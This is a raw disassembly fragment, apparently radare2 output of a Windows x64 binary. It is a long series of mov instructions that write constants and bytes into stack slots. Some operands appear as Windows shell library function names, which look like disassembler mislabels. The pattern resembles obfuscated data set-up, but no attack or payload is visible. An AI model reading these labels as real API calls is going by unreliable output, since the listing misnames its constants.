movabs rax, 0x7107384b39e8ae
mov qword [rsp + 0xbad8], rax
mov dword [rsp + 0x6600], 0x50b614f6
mov byte [rsp + 0x388], 0x6e
mov byte [rsp + 0x389], reloc.COMCTL32.dll_DrawInsert
movabs rax, 0x74e885cf061766
mov qword [rsp + 0xbae0], rax
mov eax, 0x167
mov word [rsp + 0x2110], ax
movabs rax, 0x722bc4631b818e
mov qword [rsp + 0xbae8], rax
mov byte [rsp + 0x38a], 0x5b
mov dword [rsp + 0x6604], 0x9804
mov eax, 0xb17
mov word [rsp + 0x2114], ax
mov eax, 0x25a
mov word [rsp + 0x2118], ax
mov eax, 0xa4
mov word [rsp + 0x211c], ax
movabs rax, 0x7d139662a050f4
mov qword [rsp + 0xbaf0], rax
mov eax, 0x632
mov word [rsp + 0x2120], ax
movabs rax, 0x7b6a63ec97fb23
mov qword [rsp + 0xbaf8], rax
movabs rax, 0x7c7df0c8b0662c
mov qword [rsp + 0xbb00], rax
movabs rax, 0x78aad06c932637
mov qword [rsp + 0xbb08], rax
mov dword [rsp + 0x6608], 0xa4ef
mov eax, 0x128
mov word [rsp + 0x2124], ax
mov eax, 0x2be
mov word [rsp + 0x2128], ax
mov eax, 0x224
mov word [rsp + 0x212c], ax
mov dword [rsp + 0x660c], 0xd130
movabs rax, 0x7175d494425c43
mov qword [rsp + 0xbb10], rax
mov dword [rsp + 0x6610], 0x229083a5
mov eax, 0x6a7
mov word [rsp + 0x2130], ax
mov byte [rsp + 0x38b], 0x73
mov eax, 0x1a3
mov word [rsp + 0x2134], ax
movabs rax, 0x7bd480f7a2be65
mov qword [rsp + 0xbb18], rax
movabs rax, 0x7daa614c85c696
mov qword [rsp + 0xbb20], rax
movabs rax, 0x7820ad78601452
mov qword [rsp + 0xbb28], rax
mov eax, 0x819
mov word [rsp + 0x2138], ax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x213c], ax
movabs rax, 0x75abb8fe8e111a
mov qword [rsp + 0xbb30], rax
mov byte [rsp + 0x38c], 0x74
mov byte [rsp + 0x38d], SHDoDragDrop
movabs rax, 0x7ab0bd3c4916be
mov qword [rsp + 0xbb38], rax
mov eax, 0x3b7
mov word [rsp + 0x2140], ax
mov dword [rsp + 0x6614], 0xa301
mov eax, 0x21b
mov word [rsp + 0x2144], ax
mov byte [rsp + 0x38e], 0x3e
movabs rax, 0x73ba1318e1454a
mov qword [rsp + 0xbb40], rax
mov dword [rsp + 0x6618], 0x423d
mov dword [rsp + 0x661c], 0x8dba
mov byte [rsp + 0x38f], 0xa1
mov eax, 0x7c2
mov word [rsp + 0x2148], ax
mov dword [rsp + 0x6620], 0x10d0be1
mov dword [rsp + 0x6624], 0xf6ee
mov eax, 0x5eb
mov word [rsp + 0x214c], ax
mov eax, 0x232
mov word [rsp + 0x2150], ax
movabs rax, 0x7280a5a6dc1810
mov qword [rsp + 0xbb48], rax
mov eax, 0x544
mov word [rsp + 0x2154], ax
mov byte [rsp + 0x390], 0x4c
mov dword [rsp + 0x6628], 0x514482f9
movabs rax, 0x7ce34db1d617e0
mov qword [rsp + 0xbb50], rax
mov eax, 0xc4a
mov word [rsp + 0x2158], ax
mov eax, 0x62f
mov word [rsp + 0x215c], ax
mov dword [rsp + 0x662c], 0x8e45
mov eax, 0x3f8
mov word [rsp + 0x2160], ax
mov eax, 0x3ec
mov word [rsp + 0x2164], ax
mov eax, 0x2dd
mov word [rsp + 0x2168], ax
mov eax, 0x3e5
mov word [rsp + 0x216c], ax
movabs rax, 0x79c762fc326fa8
mov qword [rsp + 0xbb58], rax
mov dword [rsp + 0x6630], 0xdc8b
movabs rax, 0x71c810e5ddbb1a
mov qword [rsp + 0xbb60], rax
mov byte [rsp + 0x391], ILIsParent
mov byte [rsp + 0x392], 0x65
mov eax, 0xa57
mov word [rsp + 0x2170], ax
mov dword [rsp + 0x6634], 0xd18f
movabs rax, 0x7e24e394b26068
mov qword [rsp + 0xbb68], rax
mov eax, 0xa6e
mov word [rsp + 0x2174], ax
movabs rax, 0x74de54ef71816d
mov qword [rsp + 0xbb70], rax
mov eax, 0x1e6
mov word [rsp + 0x2178], ax
mov byte [rsp + 0x393], 0x69
mov dword [rsp + 0x6638], 0xb30
movabs rax, 0x7ea60a3d66694d
mov qword [rsp + 0xbb78], rax
movabs rax, 0x77f40fa6289810
mov qword [rsp + 0xbb80], rax
movabs rax, 0x762dc404335d14
mov qword [rsp + 0xbb88], rax
mov byte [rsp + 0x394], 0xc4
mov eax, 0x72c
mov word [rsp + 0x217c], ax
mov byte [rsp + 0x395], SHTestTokenMembership
mov eax, 0xd59
mov word [rsp + 0x2180], ax
mov eax, 0x8f2
mov word [rsp + 0x2184], ax
mov dword [rsp + 0x663c], 0x7c0d7aa8
mov eax, 0x113
mov word [rsp + 0x2188], ax
movabs rax, 0x7bfad92f7efc2d
mov qword [rsp + 0xbb90], rax
movabs rax, 0x720226d9336486
mov qword [rsp + 0xbb98], rax
mov byte [rsp + 0x396], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x397], 0x3e
mov dword [rsp + 0x6640], 0x4475
movabs rax, 0x70dcc0594fddd9
mov qword [rsp + 0xbba0], rax
mov dword [rsp + 0x6644], 0x7026
mov eax, 0x612
mov word [rsp + 0x218c], ax
mov eax, 0x495
mov word [rsp + 0x2190], ax
mov eax, 0x8e0
mov word [rsp + 0x2194], ax
movabs rax, 0x74a75cc591e8af
mov qword [rsp + 0xbba8], rax
mov dword [rsp + 0x6648], 0xdb8b
movabs rax, 0x759b8ee813b037
mov qword [rsp + 0xbbb0], rax
mov eax, 0x5bf
mov word [rsp + 0x2198], ax
mov byte [rsp + 0x398], 0x3c
mov eax, 0x4f2
mov word [rsp + 0x219c], ax
mov dword [rsp + 0x664c], 0xfee5
mov dword [rsp + 0x6650], 0x3404e08c
movabs rax, 0x73f83fdd9e4f22
mov qword [rsp + 0xbbb8], rax
movabs rax, 0x792d299b567b5c
mov qword [rsp + 0xbbc0], rax
mov byte [rsp + 0x399], 0x5f
movabs rax, 0x7a2f727eabb753
mov qword [rsp + 0xbbc8], rax
mov eax, 0xc9f
mov word [rsp + 0x21a0], ax
movabs rax, 0x7e4cbb8c90228a
mov qword [rsp + 0xbbd0], rax
mov eax, 0x47b
mov word [rsp + 0x21a4], ax
movabs rax, 0x74202f74b67208
mov qword [rsp + 0xbbd8], rax
mov eax, 0xf95
mov word [rsp + 0x21a8], ax
mov dword [rsp + 0x6654], 0x2c7e
mov eax, 0xb48
mov word [rsp + 0x21ac], ax
mov eax, 0x1b0
mov word [rsp + 0x21b0], ax
mov eax, 0x55c
mov word [rsp + 0x21b4], ax
movabs rax, 0x746e5bdcf25e00
mov qword [rsp + 0xbbe0], rax
movabs rax, 0x7dac3e41b23e5b
mov qword [rsp + 0xbbe8], rax
mov dword [rsp + 0x6658], 0xaea9
movabs rax, 0x7eeffce120af14
mov qword [rsp + 0xbbf0], rax
movabs rax, 0x79270d0e10f4e7
mov qword [rsp + 0xbbf8], rax
mov eax, 0x7f0
mov word [rsp + 0x21b8], ax
movabs rax, 0x7ae034f40a02ba
mov qword [rsp + 0xbc00], rax
movabs rax, 0x7939f4c4d474ae
mov qword [rsp + 0xbc08], rax
mov eax, 0x422
mov word [rsp + 0x21bc], ax
mov byte [rsp + 0x39a], 0xde
mov dword [rsp + 0x665c], 0x6e40
mov dword [rsp + 0x6660], 0x2a1b
movabs rax, 0x7d021cc81bb700
mov qword [rsp + 0xbc10], rax
mov dword [rsp + 0x6664], 0x4841788e
mov eax, 0xd26
mov word [rsp + 0x21c0], ax
mov eax, 0xdf1
mov word [rsp + 0x21c4], ax
movabs rax, 0x775e584f148453
mov qword [rsp + 0xbc18], rax
movabs rax, 0x7dc02566bfdce5
mov qword [rsp + 0xbc20], rax
mov eax, 0x5f5
mov word [rsp + 0x21c8], ax
mov dword [rsp + 0x6668], 0x320f
movabs rax, 0x7b91dca9a634d2
mov qword [rsp + 0xbc28], rax
mov eax, 0x1c2
mov word [rsp + 0x21cc], ax
mov byte [rsp + 0x39b], reloc.SHELL32.dll_ILIsParent
mov eax, 0x895
mov word [rsp + 0x21d0], ax
mov eax, 0x244
mov word [rsp + 0x21d4], ax
mov eax, 0x6ed
mov word [rsp + 0x21d8], ax
mov dword [rsp + 0x666c], 0x82bd
mov eax, 0xd12
mov word [rsp + 0x21dc], ax
movabs rax, 0x7d7ca3bb236daf
mov qword [rsp + 0xbc30], rax
mov eax, 0xe0
mov word [rsp + 0x21e0], ax
mov byte [rsp + 0x39c], 0x77
movabs rax, 0x725903eab9d366
mov qword [rsp + 0xbc38], rax
mov eax, 0x7c0
mov word [rsp + 0x21e4], ax
mov eax, 0x873
mov word [rsp + 0x21e8], ax
mov dword [rsp + 0x6670], 0xf013
mov eax, 0x61b
mov word [rsp + 0x21ec], ax
movabs rax, 0x7e4471b84097a4
mov qword [rsp + 0xbc40], rax
mov byte [rsp + 0x39d], 0x6b
movabs rax, 0x7211a86ee553e7
mov qword [rsp + 0xbc48], rax
mov dword [rsp + 0x6674], 0x6a19
movabs rax, 0x7d76cbf2a99f1a
mov qword [rsp + 0xbc50], rax
mov eax, 0xd3a
mov word [rsp + 0x21f0], ax
movabs rax, 0x7307fb1304b4b6
mov qword [rsp + 0xbc58], rax
movabs rax, 0x7b55a89c8335f3
mov qword [rsp + 0xbc60], rax
mov dword [rsp + 0x6678], 0x5c50
mov eax, 0xecb
mov word [rsp + 0x21f4], ax
mov eax, 0x4f1
mov word [rsp + 0x21f8], ax
mov eax, 0xb59
mov word [rsp + 0x21fc], ax
movabs rax, 0x7e8dc019c2e437
mov qword [rsp + 0xbc68], rax
mov eax, 0xd4e
mov word [rsp + 0x2200], ax
movabs rax, 0x73cd2ea0fc88a7
mov qword [rsp + 0xbc70], rax
mov eax, 0x457
mov word [rsp + 0x2204], ax
mov byte [rsp + 0x39e], 0x73
movabs rax, 0x7adb6c93d408cf
mov qword [rsp + 0xbc78], rax
mov dword [rsp + 0x667c], 0x753091b
mov dword [rsp + 0x6680], 0x8037
mov eax, 0x435
mov word [rsp + 0x2208], ax
mov eax, 0x4d
mov word [rsp + 0x220c], ax
mov byte [rsp + 0x39f], 0x3e
mov dword [rsp + 0x6684], 0xed9f
mov byte [rsp + 0x3a0], SHUpdateImageW
mov eax, 0xd05
mov word [rsp + 0x2210], ax
movabs rax, 0x75ccf7a72bfab2
mov qword [rsp + 0xbc80], rax
mov dword [rsp + 0x6688], 0x697f
mov eax, 0x20b
mov word [rsp + 0x2214], ax
mov eax, 0x232
mov word [rsp + 0x2218], ax
mov dword [rsp + 0x668c], 0xae2d
mov byte [rsp + 0x3a1], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x794b8c6d683f76
mov qword [rsp + 0xbc88], rax
mov eax, 0xb79
mov word [rsp + 0x221c], ax
mov eax, 0x7c8
mov word [rsp + 0x2220], ax
movabs rax, 0x72729d0a7847b3
mov qword [rsp + 0xbc90], rax
movabs rax, 0x78ec0b54ec997a
mov qword [rsp + 0xbc98], rax
mov dword [rsp + 0x6690], 0x57d2bdf0
movabs rax, 0x70551f8f2ddd8d
mov qword [rsp + 0xbca0], rax
mov eax, SHDoDragDrop
mov word [rsp + 0x2224], ax
movabs rax, 0x75d82f19ad1209
mov qword [rsp + 0xbca8], rax
mov byte [rsp + 0x3a2], 0x61
mov eax, 0x7de
mov word [rsp + 0x2228], ax
movabs rax, 0x7c6adbf8878f24
mov qword [rsp + 0xbcb0], rax
mov dword [rsp + 0x6694], 0x52adcc66
mov dword [rsp + 0x6698], 0xc7ab
mov dword [rsp + 0x669c], 0x6ca7
mov eax, 0x9d8
mov word [rsp + 0x222c], ax
mov dword [rsp + 0x66a0], 0xe29c
movabs rax, 0x77fb63af7a6f38
mov qword [rsp + 0xbcb8], rax
movabs rax, 0x715af2be5b658c
mov qword [rsp + 0xbcc0], rax
mov byte [rsp + 0x3a3], SHSetInstanceExplorer
mov eax, 0x6db
mov word [rsp + 0x2230], ax
mov byte [rsp + 0x3a4], 0x6c
mov byte [rsp + 0x3a5], 0x62
mov byte [rsp + 0x3a6], ILSaveToStream
mov eax, 0x63c
mov word [rsp + 0x2234], ax
mov dword [rsp + 0x66a4], 0x4a89
mov dword [rsp + 0x66a8], 0xef35
movabs rax, 0x787f80b0547b97
mov qword [rsp + 0xbcc8], rax
mov byte [rsp + 0x3a7], 0x6c
movabs rax, 0x75404d4fe80b0b
mov qword [rsp + 0xbcd0], rax
mov eax, 0x4c6
mov word [rsp + 0x2238], ax
mov eax, 0x10e
mov word [rsp + 0x223c], ax
mov eax, 0x75c
mov word [rsp + 0x2240], ax
mov dword [rsp + 0x66ac], 0x7f011215
mov byte [rsp + 0x3a8], 0x59
mov eax, 0x413
mov word [rsp + 0x2244], ax
mov byte [rsp + 0x3a9], reloc.SHELL32.dll_SHSetInstanceExplorer
mov eax, 0xb5f
mov word [rsp + 0x2248], ax
mov dword [rsp + 0x66b0], 0x7fba0c97
mov eax, 0x5fe
mov word [rsp + 0x224c], ax
movabs rax, 0x754b1ea0dc64b9
mov qword [rsp + 0xbcd8], rax
mov eax, 0x1d1
mov word [rsp + 0x2250], ax
mov byte [rsp + 0x3aa], 0x5f
movabs rax, 0x7eb1a806eccc35
mov qword [rsp + 0xbce0], rax
movabs rax, 0x7aadec07c6856c
mov qword [rsp + 0xbce8], rax
mov byte [rsp + 0x3ab], SHDoDragDrop
mov eax, 0x147
mov word [rsp + 0x2254], ax
movabs rax, 0x76efe7c051d0d3
mov qword [rsp + 0xbcf0], rax
mov dword [rsp + 0x66b4], 0x5615
movabs rax, 0x7c2fc5990a371e
mov qword [rsp + 0xbcf8], rax
mov eax, 0x57f
mov word [rsp + 0x2258], ax
mov eax, 0xbd0
mov word [rsp + 0x225c], ax
movabs rax, 0x783c2ca4a64091
mov qword [rsp + 0xbd00], rax
movabs rax, 0x7b2c4021f79377
mov qword [rsp + 0xbd08], rax
mov eax, 0xbd1
mov word [rsp + 0x2260], ax
mov dword [rsp + 0x66b8], 0x18c18b01
movabs rax, 0x706f8fa2ff4836
mov qword [rsp + 0xbd10], rax
mov byte [rsp + 0x3ac], ILGetNext
mov dword [rsp + 0x66bc], 0x5f78
movabs rax, 0x7b148d11d161e4
mov qword [rsp + 0xbd18], rax
mov byte [rsp + 0x3ad], 0x5c
mov eax, 0x3fd
mov word [rsp + 0x2264], ax
mov dword [rsp + 0x66c0], 0x6b901f9e
movabs rax, 0x77044b41612079
mov qword [rsp + 0xbd20], rax
mov eax, 0x2ab
mov word [rsp + 0x2268], ax
mov eax, 0x902
mov word [rsp + 0x226c], ax
mov byte [rsp + 0x3ae], 0x5e
mov dword [rsp + 0x66c4], 0x21600092
movabs rax, 0x7ad0da7ca7dc7a
mov qword [rsp + 0xbd28], rax
mov dword [rsp + 0x66c8], 0xf98c
movabs rax, 0x76035dfdaec033
mov qword [rsp + 0xbd30], rax
mov dword [rsp + 0x66cc], 0x5bc07775
mov eax, 0xc13
mov word [rsp + 0x2270], ax
mov eax, 0x7ec
mov word [rsp + 0x2274], ax
mov eax, 0x750
mov word [rsp + 0x2278], ax
mov byte [rsp + 0x3af], 0x3e
mov dword [rsp + 0x66d0], 0x7d5da761
movabs rax, 0x70a9f98bcb325a
mov qword [rsp + 0xbd38], rax
movabs rax, 0x7ab176158f51d2
mov qword [rsp + 0xbd40], rax
mov byte [rsp + 0x3b0], LBItemFromPt
movabs rax, 0x72e40a7549187a
mov qword [rsp + 0xbd48], rax
mov byte [rsp + 0x3b1], 0xa
movabs rax, 0x72b3bb982a6519
mov qword [rsp + 0xbd50], rax
mov dword [rsp + 0x66d4], 0x672d
movabs rax, 0x7e0019d56cb693
mov qword [rsp + 0xbd58], rax
mov byte [rsp + 0x3b2], 0x39
mov eax, 0xf0a
mov word [rsp + 0x227c], ax
movabs rax, 0x75e5f26e5ef4d3
mov qword [rsp + 0xbd60], rax
mov byte [rsp + 0x3b3], 0x7f
mov dword [rsp + 0x66d8], 0x6961
movabs rax, 0x7b69fc0f750c30
mov qword [rsp + 0xbd68], rax
mov dword [rsp + 0x66dc], 0x1ed224bf
movabs rax, 0x779816d57f5831
mov qword [rsp + 0xbd70], rax
mov byte [rsp + 0x3b4], 0x30
mov eax, 0x208
mov word [rsp + 0x2280], ax
mov eax, 0x17b
mov word [rsp + 0x2284], ax
movabs rax, 0x76138a7f88244d
mov qword [rsp + 0xbd78], rax
movabs rax, 0x7bc39c722f7b73
mov qword [rsp + 0xbd80], rax
movabs rax, 0x755a357f5eecf5
mov qword [rsp + 0xbd88], rax
movabs rax, 0x7d65d232d52e87
mov qword [rsp + 0xbd90], rax
movabs rax, 0x72f23e00c4a3bb
mov qword [rsp + 0xbd98], rax
mov eax, 0x409
mov word [rsp + 0x2288], ax
movabs rax, 0x7943e257d16c08
mov qword [rsp + 0xbda0], rax
mov dword [rsp + 0x66e0], 0x594de424
mov eax, 0x10b
mov word [rsp + 0x228c], ax
mov eax, 0xb99
mov word [rsp + 0x2290], ax
mov eax, 0x556
mov word [rsp + 0x2294], ax
mov byte [rsp + 0x3b5], 0x6c
mov byte [rsp + 0x3b6], reloc.SHELL32.dll_SHDoDragDrop
mov dword [rsp + 0x66e4], 0x4fa1
mov eax, 0x5fa
mov word [rsp + 0x2298], ax
movabs rax, 0x75b6ddc5fcfe3b
mov qword [rsp + 0xbda8], rax
movabs rax, 0x7b01e05415c763
mov qword [rsp + 0xbdb0], rax
mov eax, 0xdb8
mov word [rsp + 0x229c], ax
mov eax, 0x4f8
mov word [rsp + 0x22a0], ax
mov dword [rsp + 0x66e8], 0x565eea34
mov byte [rsp + 0x3b7], ILCreateFromPathW
movabs rax, 0x7bdf03a85c3197
mov qword [rsp + 0xbdb8], rax
movabs rax, 0x7c748850d7139c
mov qword [rsp + 0xbdc0], rax
movabs rax, 0x7ee166e02658a0
mov qword [rsp + 0xbdc8], rax
movabs rax, 0x7eeec6c96bfcc4
mov qword [rsp + 0xbdd0], rax
mov byte [rsp + 0x3b8], 0x4d
mov eax, 0x105
mov word [rsp + 0x22a4], ax
mov byte [rsp + 0x3b9], 0x4d
mov eax, 0x192
mov word [rsp + 0x22a8], ax
movabs rax, 0x7856ecf459ff8f
mov qword [rsp + 0xbdd8], rax
mov dword [rsp + 0x66ec], 0x7a44
movabs rax, 0x7d32999066cfe6
mov qword [rsp + 0xbde0], rax
mov eax, 0x208
mov word [rsp + 0x22ac], ax
mov dword [rsp + 0x66f0], 0xc425
movabs rax, 0x726c156484e64b
mov qword [rsp + 0xbde8], rax
mov eax, 0xdb4
mov word [rsp + 0x22b0], ax
movabs rax, 0x7a901333bf093c
mov qword [rsp + 0xbdf0], rax
mov eax, 0x7f2
mov word [rsp + 0x22b4], ax
mov eax, 0x1f1
mov word [rsp + 0x22b8], ax
mov byte [rsp + 0x3ba], 0x30
mov byte [rsp + 0x3bb], 0xe9
mov dword [rsp + 0x66f4], 0x45e6c7a4
movabs rax, 0x7064a6a924ec5f
mov qword [rsp + 0xbdf8], rax
mov dword [rsp + 0x66f8], 0xb71
movabs rax, 0x79644f6c6f4237
mov qword [rsp + 0xbe00], rax
mov dword [rsp + 0x66fc], 0xa741
mov byte [rsp + 0x3bc], 0x22
movabs rax, 0x741eaa983f02d3
mov qword [rsp + 0xbe08], rax
mov eax, 0x39c
mov word [rsp + 0x22bc], ax
mov eax, 0x3f7
mov word [rsp + 0x22c0], ax
movabs rax, 0x7a8d31760b4f5a
mov qword [rsp + 0xbe10], rax
mov eax, 0x20a
mov word [rsp + 0x22c4], ax
mov dword [rsp + 0x6700], 0x242303f9
movabs rax, 0x7eddadab4bb003
mov qword [rsp + 0xbe18], rax
mov eax, 0xace
mov word [rsp + 0x22c8], ax
mov dword [rsp + 0x6704], 0xfe96
mov eax, 0x82
mov word [rsp + 0x22cc], ax
movabs rax, 0x7a8269edd0f0fe
mov qword [rsp + 0xbe20], rax
movabs rax, 0x78962e6452b302
mov qword [rsp + 0xbe28], rax
movabs rax, 0x74f061497dfbc3
mov qword [rsp + 0xbe30], rax
mov byte [rsp + 0x3bd], reloc.SHELL32.dll_ILCombine
mov eax, 0x39d
mov word [rsp + 0x22d0], ax
mov byte [rsp + 0x3be], 0xc5
mov eax, 0xf0e
mov word [rsp + 0x22d4], ax
mov byte [rsp + 0x3bf], 0x30
mov eax, 0xe31
mov word [rsp + 0x22d8], ax
mov dword [rsp + 0x6708], 0x909c
mov dword [rsp + 0x670c], 0x2c00
mov byte [rsp + 0x3c0], SHTestTokenMembership
mov dword [rsp + 0x6710], 0xd4d4
mov eax, 0x49f
mov word [rsp + 0x22dc], ax
mov eax, 0x627
mov word [rsp + 0x22e0], ax
movabs rax, 0x776fa7f746c215
mov qword [rsp + 0xbe38], rax
mov dword [rsp + 0x6714], 0x6d51616c
mov eax, 0x719
mov word [rsp + 0x22e4], ax
mov eax, 0x775
mov word [rsp + 0x22e8], ax
mov byte [rsp + 0x3c1], SHUpdateImageW
mov eax, 0x5e2
mov word [rsp + 0x22ec], ax
mov eax, 0x2e6
mov word [rsp + 0x22f0], ax
mov dword [rsp + 0x6718], 0x7514743f
movabs rax, 0x7d1b81bbf944cf
mov qword [rsp + 0xbe40], rax
mov eax, 0x7a1
mov word [rsp + 0x22f4], ax
movabs rax, 0x7d4d8c6f183e17
mov qword [rsp + 0xbe48], rax
mov eax, 0x57c
mov word [rsp + 0x22f8], ax
mov eax, 0x262
mov word [rsp + 0x22fc], ax
mov byte [rsp + 0x3c2], 0x75
mov eax, reloc.SHELL32.dll_ILFindLastID
mov word [rsp + 0x2300], ax
mov eax, 0x738
mov word [rsp + 0x2304], ax
mov dword [rsp + 0x671c], 0x2f71
mov eax, 0x1d9
mov word [rsp + 0x2308], ax
mov byte [rsp + 0x3c3], 0x8f
mov eax, 0x24
mov word [rsp + 0x230c], ax
mov byte [rsp + 0x3c4], 4
movabs rax, 0x741a2397ea34e3
mov qword [rsp + 0xbe50], rax
mov dword [rsp + 0x6720], 0xfc51
mov eax, 0xcf8
mov word [rsp + 0x2310], ax
mov byte [rsp + 0x3c5], 0xa
mov eax, 0x1c5
mov word [rsp + 0x2314], ax
movabs rax, 0x71d59668570f4a
mov qword [rsp + 0xbe58], rax
mov byte [rsp + 0x3c6], PathMakeUniqueName
movabs rax, 0x7b9107266d714c
mov qword [rsp + 0xbe60], rax
mov eax, 0xba7
mov word [rsp + 0x2318], ax
movabs rax, 0x73f6c0c5581278
mov qword [rsp + 0xbe68], rax
movabs rax, 0x79e1eea5b81a7e
mov qword [rsp + 0xbe70], rax
mov byte [rsp + 0x3c7], 0x42
movabs rax, 0x7365ff2e69688d
mov qword [rsp + 0xbe78], rax
mov eax, 0x2a3
mov word [rsp + 0x231c], ax
mov dword [rsp + 0x6724], 0xaef6
mov byte [rsp + 0x3c8], PathYetAnotherMakeUniqueName
mov eax, 0x53f
mov word [rsp + 0x2320], ax
mov byte [rsp + 0x3c9], 3
mov eax, 0x60d
mov word [rsp + 0x2324], ax
mov byte [rsp + 0x3ca], SHGetNewLinkInfoW
mov eax, 0xf22
mov word [rsp + 0x2328], ax
mov eax, 0xe7c
mov word [rsp + 0x232c], ax
mov eax, 0x493
mov word [rsp + 0x2330], ax
movabs rax, 0x7903039ddb7db8
mov qword [rsp + 0xbe80], rax
movabs rax, 0x7bfff86f904248
mov qword [rsp + 0xbe88], rax
movabs rax, 0x7b1cbb0e9ec5cd
mov qword [rsp + 0xbe90], rax
mov byte [rsp + 0x3cb], 0x37
movabs rax, 0x798ea77ead9fe9
mov qword [rsp + 0xbe98], rax
mov byte [rsp + 0x3cc], 0x3e
mov eax, 0xeba
mov word [rsp + 0x2334], ax
movabs rax, 0x7d59789b8603d5
mov qword [rsp + 0xbea0], rax
mov byte [rsp + 0x3cd], 0x59
mov eax, 0x2eb
mov word [rsp + 0x2338], ax
mov eax, 0x2ab
mov word [rsp + 0x233c], ax
mov byte [rsp + 0x3ce], 0x61
mov dword [rsp + 0x6728], 0xbb0
mov eax, 0x5d2
mov word [rsp + 0x2340], ax
mov eax, 0x713
mov word [rsp + 0x2344], ax
movabs rax, 0x723322d3ecfc10
mov qword [rsp + 0xbea8], rax
mov byte [rsp + 0x3cf], PathYetAnotherMakeUniqueName
movabs rax, 0x7ab5559f820b5f
mov qword [rsp + 0xbeb0], rax
movabs rax, 0x7570a33f9c78ff
mov qword [rsp + 0xbeb8], rax
mov eax, 0x45a
mov word [rsp + 0x2348], ax
movabs rax, 0x7b1a61e08a9e78
mov qword [rsp + 0xbec0], rax
mov eax, 0xfbf
mov word [rsp + 0x234c], ax
mov eax, 0xa64
mov word [rsp + 0x2350], ax
mov eax, 0x774
mov word [rsp + 0x2354], ax
movabs rax, 0x77d5ab8905d599
mov qword [rsp + 0xbec8], rax
mov eax, reloc.SHELL32.dll_SHChangeNotification_Lock
mov word [rsp + 0x2358], ax
movabs rax, 0x784a2cd7c4a166
mov qword [rsp + 0xbed0], rax
movabs rax, 0x71206b4a212df1
mov qword [rsp + 0xbed8], rax
mov dword [rsp + 0x672c], 0x2dc3b630
movabs rax, 0x7489b14eda485a
mov qword [rsp + 0xbee0], rax
mov dword [rsp + 0x6730], 0x183c
mov eax, 0xb34
mov word [rsp + 0x235c], ax
mov byte [rsp + 0x3d0], 0x6e
mov dword [rsp + 0x6734], 0x2380733c
mov dword [rsp + 0x6738], 0x3c17
mov dword [rsp + 0x673c], 0x286c
movabs rax, 0x729b6def24c9ae
mov qword [rsp + 0xbee8], rax
movabs rax, 0x73633bb6fd4f7c
mov qword [rsp + 0xbef0], rax
mov byte [rsp + 0x3d1], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7003c7db585c32
mov qword [rsp + 0xbef8], rax
movabs rax, 0x727f00cdf54651
mov qword [rsp + 0xbf00], rax
mov eax, 0x33
mov word [rsp + 0x2360], ax
movabs rax, 0x732d80a22fd243
mov qword [rsp + 0xbf08], rax
movabs rax, 0x780955b92763fa
mov qword [rsp + 0xbf10], rax
movabs rax, 0x744bc7b32c3894
mov qword [rsp + 0xbf18], rax
mov byte [rsp + 0x3d2], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x3d3], 0x61
mov eax, 0x63f
mov word [rsp + 0x2364], ax
movabs rax, 0x79ce13c06c3f35
mov qword [rsp + 0xbf20], rax
mov eax, 0x1a0
mov word [rsp + 0x2368], ax
movabs rax, 0x764a406f7f2a34
mov qword [rsp + 0xbf28], rax
movabs rax, 0x7a302c1aa01a9e
mov qword [rsp + 0xbf30], rax
mov eax, 0x7bd
mov word [rsp + 0x236c], ax
movabs rax, 0x783f979c1caa45
mov qword [rsp + 0xbf38], rax
mov eax, 0x381
mov word [rsp + 0x2370], ax
mov byte [rsp + 0x3d4], 0x20
mov eax, 0x444
mov word [rsp + 0x2374], ax
movabs rax, 0x7cb720dbc972a0
mov qword [rsp + 0xbf40], rax
mov byte [rsp + 0x3d5], 0x5c
mov eax, 0x606
mov word [rsp + 0x2378], ax
mov byte [rsp + 0x3d6], 0x76
movabs rax, 0x70b41c9ff9b284
mov qword [rsp + 0xbf48], rax
movabs rax, 0x7a27c8bec5bdff
mov qword [rsp + 0xbf50], rax
movabs rax, 0x7e87c1205c92c6
mov qword [rsp + 0xbf58], rax
mov dword [rsp + 0x6740], 0xb9c7
mov eax, 0x3b9
mov word [rsp + 0x237c], ax
movabs rax, 0x7a0787fb0f668f
mov qword [rsp + 0xbf60], rax
movabs rax, 0x749eee449e0e74
mov qword [rsp + 0xbf68], rax
mov dword [rsp + 0x6744], 0x416f
mov eax, 0x124
mov word [rsp + 0x2380], ax
mov dword [rsp + 0x6748], 0x53c7
movabs rax, 0x758e7f5b92f771
mov qword [rsp + 0xbf70], rax
mov dword [rsp + 0x674c], 0x9048
movabs rax, 0x704d6999915ce4
mov qword [rsp + 0xbf78], rax
movabs rax, 0x7df45dade014a8
mov qword [rsp + 0xbf80], rax
mov dword [rsp + 0x6750], 0x53d4
mov byte [rsp + 0x3d7], 0xfb
mov eax, 0x2df
mov word [rsp + 0x2384], ax
mov byte [rsp + 0x3d8], 0x1f
movabs rax, 0x734f4b6a4a831e
mov qword [rsp + 0xbf88], rax
mov eax, 0x770
mov word [rsp + 0x2388], ax
movabs rax, 0x74184bd5d3b6a5
mov qword [rsp + 0xbf90], rax
mov eax, 0x4ff
mov word [rsp + 0x238c], ax
mov eax, 0x47e
mov word [rsp + 0x2390], ax
mov byte [rsp + 0x3d9], 0xc3
movabs rax, 0x742465eca82ff8
mov qword [rsp + 0xbf98], rax
mov dword [rsp + 0x6754], 0x40c9
movabs rax, 0x7eb38f8452b828
mov qword [rsp + 0xbfa0], rax
movabs rax, 0x7564782ad97f9d
mov qword [rsp + 0xbfa8], rax
mov eax, 0x50f
mov word [rsp + 0x2394], ax
movabs rax, 0x760fdbf0263787
mov qword [rsp + 0xbfb0], rax
mov dword [rsp + 0x6758], 0xc3f0
movabs rax, 0x75c72db605cfae
mov qword [rsp + 0xbfb8], rax
mov eax, 0x5ff
mov word [rsp + 0x2398], ax
movabs rax, 0x78a6ba475130c1
mov qword [rsp + 0xbfc0], rax
mov byte [rsp + 0x3da], 0x41
mov eax, 0x6a8
mov word [rsp + 0x239c], ax
movabs rax, 0x7385167d0382df
mov qword [rsp + 0xbfc8], rax
mov dword [rsp + 0x675c], 0x9d36
movabs rax, 0x7a6020af7e9c9e
mov qword [rsp + 0xbfd0], rax
movabs rax, 0x77d228b42f8252
mov qword [rsp + 0xbfd8], rax
mov eax, 0x332
mov word [rsp + 0x23a0], ax
mov dword [rsp + 0x6760], 0xc167
movabs rax, 0x7a740fc56c5826
mov qword [rsp + 0xbfe0], rax
mov eax, 0x6e
mov word [rsp + 0x23a4], ax
